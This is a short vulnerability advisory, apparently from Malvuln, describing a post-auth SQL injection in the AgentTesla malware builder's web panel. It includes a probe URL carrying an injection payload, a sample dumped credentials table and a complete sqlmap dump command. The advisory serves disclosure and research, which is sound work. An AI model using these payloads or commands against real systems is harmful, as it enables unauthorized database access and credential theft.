Tuesday, January 18, 2022

AgentTesla Builder Web Panel SQL Injection

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/db9629508fda139f71f625d764c7eff7_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: AgentTesla Builder Web Panel
Vulnerability: SQL Injection
Description: The AgentTeslaBuilder WebUI uses ionCube to encode and protect its PHP code. However, the parameter 'table' is vulnerable to post-auth SQL Injection. Authenticated users can easily dump all databases, tables and contents including the MySQL database schema. Manually testing the panel I identified an SQL error probing the following URL /AgentTeslaBuilder/server_side/scripts/server_processing.php?table=%27HELL%20OR%201=1 which gave me "An SQL error occurred: SQLSTATE[42S02] Base table or view not found 1146 Table 'agenttesla.'hell or 1=1' doesn't exist" Then switched to use Sqlmap to do the heavy lifting.

Database: agenttesla
Table: passwords
[1 entry]
| hwid | password_id | pwd | host | status | client | time | pc_name | username | server_time |
| 939394 | 1 | abc123 | x.x.x.x | 1 | windows | 2022-01-17 01:06:09 | tom | nubarr | 2022-01-17 01:06:09 |

Type: WebUI
MD5: db9629508fda139f71f625d764c7eff7 : "Agent Tesla.exe"
MD5: 978509c2a3d051b43e53bba1436b7076 : "login.php"
Vuln ID: MVID-2022-0455
Disclosure: 01/16/2022

sqlmap.py -u "http://AGENT-TESLA-IP/AgentTeslaBuilder/server_side/scripts/server_processing.php?table=passwords --auth=admin:abc123" --dbms=MySQL --dump

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore